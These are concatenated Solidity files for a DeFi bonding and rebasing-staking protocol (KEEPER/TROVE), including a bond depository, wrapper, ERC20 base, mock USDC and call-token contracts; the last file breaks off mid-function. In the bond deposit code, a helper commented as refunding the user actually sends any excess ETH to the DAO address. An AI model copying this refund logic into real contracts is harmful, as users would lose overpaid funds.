terms.vestingTerm == 0, "Bonds must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = uint32(block.timestamp); } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT, MINPRICE } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyOwner() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 129600, "Vesting must be longer than 36 hours" ); require( currentDebt() == 0, "Debt should be 0." ); terms.vestingTerm = uint32(_input); } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } else if ( _parameter == PARAMETER.MINPRICE ) { // 3 terms.minimumPrice = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint32 _buffer ) external onlyOwner() { require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastTime: uint32(block.timestamp) }); } /** * @notice set contract for auto stake * @param _staking address */ // function setStaking( address _staking ) external onlyOwner() { // require( _staking != address(0) ); // staking = _staking; // } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor) external payable returns ( uint ) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint priceInUSD = bondPriceInUSD(); // Stored in bond info uint nativePrice = _bondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOfToken( principle, _amount ); uint payout = payoutFor( value ); // payout to bonder is computed require( payout >= 10000000, "Bond too small" ); // must be > 0.01 KEEPER ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage /** asset carries risk and is not minted against asset transfered to treasury and rewards minted as payout */ if (address(this).balance >= _amount) { // pay with WETH9 IWETH9(principle).deposit{value: _amount}(); // wrap only what is needed to pay IWETH9(principle).transfer(treasury, _amount); } else { IERC20( principle ).safeTransferFrom( msg.sender, treasury, _amount ); } ITreasury( treasury ).mintRewards( address(this), payout ); // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); IERC20( KEEPER ).approve( staking, payout ); IStaking( staking ).stake( payout, address(this), false ); IStaking( staking ).claim( address(this) ); uint stakeGons = IsKEEPER(sKEEPER).gonsForBalance(payout); // depositor info is stored bondInfo[ _depositor ] = Bond({ gonsPayout: bondInfo[ _depositor ].gonsPayout.add( stakeGons ), vesting: terms.vestingTerm, lastTime: uint32(block.timestamp), pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated( _amount, payout, block.timestamp.add( terms.vestingTerm ), priceInUSD ); emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted refundETH(); //refund user if needed return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _stake bool * @return uint */ function redeem( address _recipient, bool _stake, bool _wrap ) external returns ( uint ) { Bond memory info = bondInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _recipient ]; // delete user info uint _amount = IsKEEPER(sKEEPER).balanceForGons(info.gonsPayout); emit BondRedeemed( _recipient, _amount, 0 ); // emit bond data return sendOrWrap( _recipient, _wrap, _amount ); // pay user everything due } else { // if unfinished // calculate payout vested uint gonsPayout = info.gonsPayout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _recipient ] = Bond({ gonsPayout: info.gonsPayout.sub( gonsPayout ), vesting: info.vesting.sub32( uint32(block.timestamp).sub32( info.lastTime ) ), lastTime: uint32(block.timestamp), pricePaid: info.pricePaid }); uint _amount = IsKEEPER(sKEEPER).balanceForGons(gonsPayout); uint _remainingAmount = IsKEEPER(sKEEPER).balanceForGons(bondInfo[_recipient].gonsPayout); emit BondRedeemed( _recipient, _amount, _remainingAmount ); return sendOrWrap( _recipient, _wrap, _amount ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to wrap payout automatically * @param _wrap bool * @param _amount uint * @return uint */ function sendOrWrap( address _recipient, bool _wrap, uint _amount ) internal returns ( uint ) { if ( _wrap ) { // if user wants to wrap IERC20(sKEEPER).approve( wTROVE, _amount ); uint wrapValue = IwTROVE(wTROVE).wrap( _amount ); IwTROVE(wTROVE).transfer( _recipient, wrapValue ); } else { // if user wants to stake IERC20( sKEEPER ).transfer( _recipient, _amount ); // send payout } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint timeCanAdjust = adjustment.lastTime.add( adjustment.buffer ); if( adjustment.rate != 0 && block.timestamp >= timeCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target || terms.controlVariable < adjustment.rate ) { adjustment.rate = 0; } } adjustment.lastTime = uint32(block.timestamp); emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = uint32(block.timestamp); } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( KEEPER ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e14 ); } /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice get asset price from chainlink */ function assetPrice() public view returns (int) { ( , int price, , , ) = priceFeed.latestRoundData(); return price; } /** * @notice converts bond price to DAI value * @return price_ uint */ function bondPriceInUSD() public view returns ( uint price_ ) { price_ = bondPrice().mul( uint( assetPrice() ) ).mul( 1e6 ); } function getBondInfo(address _depositor) public view returns ( uint payout, uint vesting, uint lastTime, uint pricePaid ) { Bond memory info = bondInfo[ _depositor ]; payout = IsKEEPER(sKEEPER).balanceForGons(info.gonsPayout); vesting = info.vesting; lastTime = info.lastTime; pricePaid = info.pricePaid; } /** * @notice calculate current ratio of debt to KEEPER supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( KEEPER ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms as reserve bonds * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { return debtRatio().mul( uint( assetPrice() ) ).div( 1e8 ); // ETH feed is 8 decimals } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint32 timeSinceLast = uint32(block.timestamp).sub32( lastDecay ); decay_ = totalDebt.mul( timeSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint timeSinceLast = uint32(block.timestamp).sub( bond.lastTime ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = timeSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of KEEPER available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = IsKEEPER(sKEEPER).balanceForGons(bondInfo[ _depositor ].gonsPayout); if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens (excluding principle or KEEPER) to the DAO * @return bool */ function recoverLostToken( address _token ) external returns ( bool ) { require( _token != KEEPER ); require( _token != sKEEPER ); require( _token != principle ); IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) ); return true; } function refundETH() internal { if (address(this).balance > 0) safeTransferETH(DAO, address(this).balance); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IsKEEPER.sol"; contract wTROVE is ERC20 { using SafeMath for uint; address public immutable TROVE; constructor(address _TROVE) ERC20("Wrapped Trove", "wTROVE") { require(_TROVE != address(0)); TROVE = _TROVE; } /** @notice wrap TROVE @param _amount uint @return uint */ function wrap( uint _amount ) external returns ( uint ) { IsKEEPER( TROVE ).transferFrom( msg.sender, address(this), _amount ); uint value = TROVETowTROVE( _amount ); _mint( msg.sender, value ); return value; } /** @notice unwrap TROVE @param _amount uint @return uint */ function unwrap( uint _amount ) external returns ( uint ) { _burn( msg.sender, _amount ); uint value = wTROVEToTROVE( _amount ); IsKEEPER( TROVE ).transfer( msg.sender, value ); return value; } /** @notice converts wTROVE amount to TROVE @param _amount uint @return uint */ function wTROVEToTROVE( uint _amount ) public view returns ( uint ) { return _amount.mul( IsKEEPER( TROVE ).index() ).div( 10 ** decimals() ); } /** @notice converts TROVE amount to wTROVE @param _amount uint @return uint */ function TROVETowTROVE( uint _amount ) public view returns ( uint ) { return _amount.mul( 10 ** decimals() ).div( IsKEEPER( TROVE ).index() ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract USDC is ERC20, Ownable { using SafeMath for uint256; constructor() ERC20("USDC", "USDC") { } function mint(address account_, uint256 amount_) external onlyOwner() { _mint(account_, amount_); } function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./interfaces/IStaking.sol"; contract sKeplerERC20 is ERC20 { using SafeMath for uint256; event StakingContractUpdated(address stakingContract); event LogSupply(uint256 indexed epoch, uint256 timestamp, uint256 totalSupply); event LogRebase(uint256 indexed epoch, uint256 rebase, uint256 index); address initializer; address public stakingContract; // balance used to calc rebase uint8 private constant _tokenDecimals = 9; uint INDEX; // Index Gons - tracks rebase growth uint _totalSupply; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 5000000 * 10**_tokenDecimals; // TOTAL_GONS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _gonsPerFragment is an integer. // Use the highest value that fits in a uint256 for max granularity. uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY); // MAX_SUPPLY = maximum integer < (sqrt(4*TOTAL_GONS + 1) - 1) / 2 uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1 uint256 private _gonsPerFragment; mapping(address => uint256) private _gonBalances; mapping (address => mapping (address => uint256)) private _allowedValue; struct Rebase { uint epoch; uint rebase; // 18 decimals uint totalStakedBefore; uint totalStakedAfter; uint amountRebased; uint index; uint timeOccured; } Rebase[] public rebases; // past rebase data modifier onlyStakingContract() { require(msg.sender == stakingContract); _; } constructor() ERC20("Staked Keeper", "TROVE") { _setupDecimals(_tokenDecimals); initializer = msg.sender; _totalSupply = INITIAL_FRAGMENTS_SUPPLY; _gonsPerFragment = TOTAL_GONS.div(_totalSupply); } function setIndex(uint _INDEX) external { require(msg.sender == initializer); require(INDEX == 0); require(_INDEX != 0); INDEX = gonsForBalance(_INDEX); } // do this last function initialize(address _stakingContract) external { require(msg.sender == initializer); require(_stakingContract != address(0)); stakingContract = _stakingContract; _gonBalances[ stakingContract ] = TOTAL_GONS; emit Transfer(address(0x0), stakingContract, _totalSupply); emit StakingContractUpdated(_stakingContract); initializer = address(0); } /** @notice increases sKEEPER supply to increase staking balances relative to _profit @param _profit uint256 @return uint256 */ function rebase(uint256 _profit, uint _epoch) public onlyStakingContract() returns (uint256) { uint256 rebaseAmount; uint256 _circulatingSupply = circulatingSupply(); if (_profit == 0) { emit LogSupply(_epoch, block.timestamp, _totalSupply); emit LogRebase(_epoch, 0, index()); return _totalSupply; } else if (_circulatingSupply > 0) { rebaseAmount = _profit.mul(_totalSupply).div(_circulatingSupply); } else { rebaseAmount = _profit; } _totalSupply = _totalSupply.add(rebaseAmount); if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } _gonsPerFragment = TOTAL_GONS.div(_totalSupply); _storeRebase(_circulatingSupply, _profit, _epoch); return _totalSupply; } /** @notice emits event with data about rebase @param _previousCirculating uint @param _profit uint @param _epoch uint @return bool */ function _storeRebase(uint _previousCirculating, uint _profit, uint _epoch) internal returns (bool) { uint rebasePercent = _profit.mul(1e18).div(_previousCirculating); rebases.push(Rebase ({ epoch: _epoch, rebase: rebasePercent, // 18 decimals totalStakedBefore: _previousCirculating, totalStakedAfter: circulatingSupply(), amountRebased: _profit, index: index(), timeOccured: uint32(block.timestamp) })); emit LogSupply(_epoch, block.timestamp, _totalSupply); emit LogRebase(_epoch, rebasePercent, index()); return true; } /* =================================== VIEW FUNCTIONS ========================== */ /** * @param who The address to query. * @return The balance of the specified address. */ function balanceOf(address who) public view override returns (uint256) { return _gonBalances[ who ].div(_gonsPerFragment); } /** * @param who The address to query. * @return The gon balance of the specified address. */ function scaledBalanceOf(address who) external view returns (uint256) { return _gonBalances[who]; } function gonsForBalance(uint amount) public view returns (uint) { return amount * _gonsPerFragment; } function balanceForGons(uint gons) public view returns (uint) { return gons / _gonsPerFragment; } // Staking contract holds excess sKEEPER function circulatingSupply() public view returns (uint) { return _totalSupply.sub(balanceOf(stakingContract)).add(IStaking(stakingContract).supplyInWarmup()); } function index() public view returns (uint) { return balanceForGons(INDEX); } function allowance(address owner_, address spender) public view override returns (uint256) { return _allowedValue[ owner_ ][ spender ]; } /* ================================= MUTATIVE FUNCTIONS ====================== */ function transfer(address to, uint256 value) public override returns (bool) { uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[ msg.sender ] = _gonBalances[ msg.sender ].sub(gonValue); _gonBalances[ to ] = _gonBalances[ to ].add(gonValue); emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint256 value) public override returns (bool) { _allowedValue[ from ][ msg.sender ] = _allowedValue[ from ][ msg.sender ].sub(value); emit Approval(from, msg.sender, _allowedValue[ from ][ msg.sender ]); uint256 gonValue = gonsForBalance(value); _gonBalances[ from ] = _gonBalances[from].sub(gonValue); _gonBalances[ to ] = _gonBalances[to].add(gonValue); emit Transfer(from, to, value); return true; } function _approve(address owner, address spender, uint256 value) internal override virtual { _allowedValue[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) public override returns (bool) { _allowedValue[ msg.sender ][ spender ] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) { _allowedValue[ msg.sender ][ spender ] = _allowedValue[ msg.sender ][ spender ].add(addedValue); emit Approval(msg.sender, spender, _allowedValue[ msg.sender ][ spender ]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) { uint256 oldValue = _allowedValue[ msg.sender ][ spender ]; if (subtractedValue >= oldValue) { _allowedValue[ msg.sender ][ spender ] = 0; } else { _allowedValue[ msg.sender ][ spender ] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedValue[ msg.sender ][ spender ]); return true; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract cKEEPER is ERC20, Ownable { using SafeMath for uint; bool public requireSellerApproval; mapping( address => bool ) public isApprovedSeller; constructor() ERC20("Call Keeper", "cKEEPER") { uint initSupply = 500000000 * 1e18; _addApprovedSeller( address(this) ); _addApprovedSeller( msg.sender ); _mint( msg.sender, initSupply ); requireSellerApproval = true; } function allowOpenTrading() external onlyOwner() returns ( bool ) { requireSellerApproval = false; return requireSellerApproval; } function _addApprovedSeller( address approvedSeller_ ) internal { isApprovedSeller[approvedSeller_] = true; } function addApprovedSeller( address approvedSeller_ ) external onlyOwner() returns ( bool ) { _addApprovedSeller( approvedSeller_ ); return isApprovedSeller[approvedSeller_]; } function addApprovedSellers( address[] calldata approvedSellers_ ) external onlyOwner() returns ( bool ) { for( uint iteration_; iteration_ < approvedSellers_.length; iteration_++ ) { _addApprovedSeller( approvedSellers_[iteration_] ); } return true; } function _removeApprovedSeller( address disapprovedSeller_ ) internal { isApprovedSeller[disapprovedSeller_] = false; } function removeApprovedSeller( address disapprovedSeller_ ) external onlyOwner() returns ( bool ) { _removeApprovedSeller( disapprovedSeller_ ); return isApprovedSeller[disapprovedSeller_]; } function removeApprovedSellers( address[] calldata disapprovedSellers_ ) external onlyOwner() returns ( bool ) { for( uint iteration_; iteration_ < disapprovedSellers_.length; iteration_++ ) { _removeApprovedSeller( disapprovedSellers_[iteration_] ); } return true; } function _beforeTokenTransfer(address from_, address to_, uint256 amount_ ) internal override { require( (balanceOf(to_) > 0 || isApprovedSeller[from_] == true || !requireSellerApproval), "Account not approved to transfer cKEEPER." ); } function burn(uint256 amount_) public virtual { _burn( msg.sender, amount_ ); } function burnFrom( address account_, uint256 amount_ ) public virtual { _burnFrom( account_, amount_ ); } function _burnFrom( address account_, uint256 amount_ ) internal virtual { uint256 decreasedAllowance_ = allowance( account_, msg.sender ).sub( amount_, "ERC20: burn amount exceeds allowance"); _approve( account_, msg.sender, decreasedAllowance_ ); _burn( account_, amount_ ); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; interface IBond { function redeem( address _recipient, bool _stake ) external returns ( uint ); function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ); } contract RedeemHelper is Ownable { address[] public bonds; function redeemAll( address _recipient, bool _stake ) external { for( uint i = 0; i < bonds.length; i++ ) { if ( bonds[i] != address(0) ) { if ( IBond( bonds[i] ).pendingPayoutFor( _recipient ) > 0 ) { IBond( bonds[i] ).redeem( _recipient, _stake ); } } } } function addBondContract( address _bond ) external onlyOwner() { require( _bond != address(0) ); bonds.push( _bond ); } function removeBondContract( uint _index ) external onlyOwner() { bonds[ _index ] = address(0); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract KEEPERCircSupply is Ownable { using SafeMath for uint; address public KEEPER; address[] public nonCirculatingKEEPERAddresses; constructor (address _KEEPER) { KEEPER = _KEEPER; } function KEEPERCirculatingSupply() external view returns (uint) { uint _totalSupply = IERC20( KEEPER ).totalSupply(); uint _circulatingSupply = _totalSupply.sub( getNonCirculatingKEEPER() ); return _circulatingSupply; } function getNonCirculatingKEEPER() public view returns ( uint ) { uint _nonCirculatingKEEPER; for( uint i=0; i < nonCirculatingKEEPERAddresses.length; i = i.add( 1 ) ) { _nonCirculatingKEEPER = _nonCirculatingKEEPER.add( IERC20( KEEPER ).balanceOf( nonCirculatingKEEPERAddresses[i] ) ); } return _nonCirculatingKEEPER; } function setNonCirculatingKEEPERAddresses( address[] calldata _nonCirculatingAddresses ) external onlyOwner() returns ( bool ) { nonCirculatingKEEPERAddresses = _nonCirculatingAddresses; return true; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interfaces/ITreasury.sol"; import "../interfaces/IStaking.sol"; interface IcKEEPER { function burnFrom( address account_, uint256 amount_ ) external; } contract cKeeperExercise is Ownable { using SafeMath for uint; using SafeERC20 for IERC20; address public immutable cKEEPER; address public immutable KEEPER; address public immutable USDC; address public immutable treasury; address public staking; uint private constant CLIFF = 250000 * 10**9; // Minimum KEEPER supply to exercise uint private constant TOUCHDOWN = 5000000 * 10**9; // Maximum KEEPER supply for percent increase uint private constant Y_INCREASE = 35000; // Increase from CLIFF to TOUCHDOWN is 3.5%. 4 decimals used // uint private constant SLOPE = Y_INCREASE.div(TOUCHDOWN.sub(CLIFF)); // m = (y2 - y1) / (x2 - x1) struct Term { uint initPercent; // 4 decimals ( 5000 = 0.5% ) uint claimed; uint max; } mapping(address => Term) public terms; mapping(address => address) public walletChange; constructor( address _cKEEPER, address _KEEPER, address _USDC, address _treasury, address _staking ) { require( _cKEEPER != address(0) ); cKEEPER = _cKEEPER; require( _KEEPER != address(0) ); KEEPER = _KEEPER; require( _USDC != address(0) ); USDC = _USDC; require( _treasury != address(0) ); treasury = _treasury; require( _staking != address(0) ); staking = _staking; } function setStaking( address 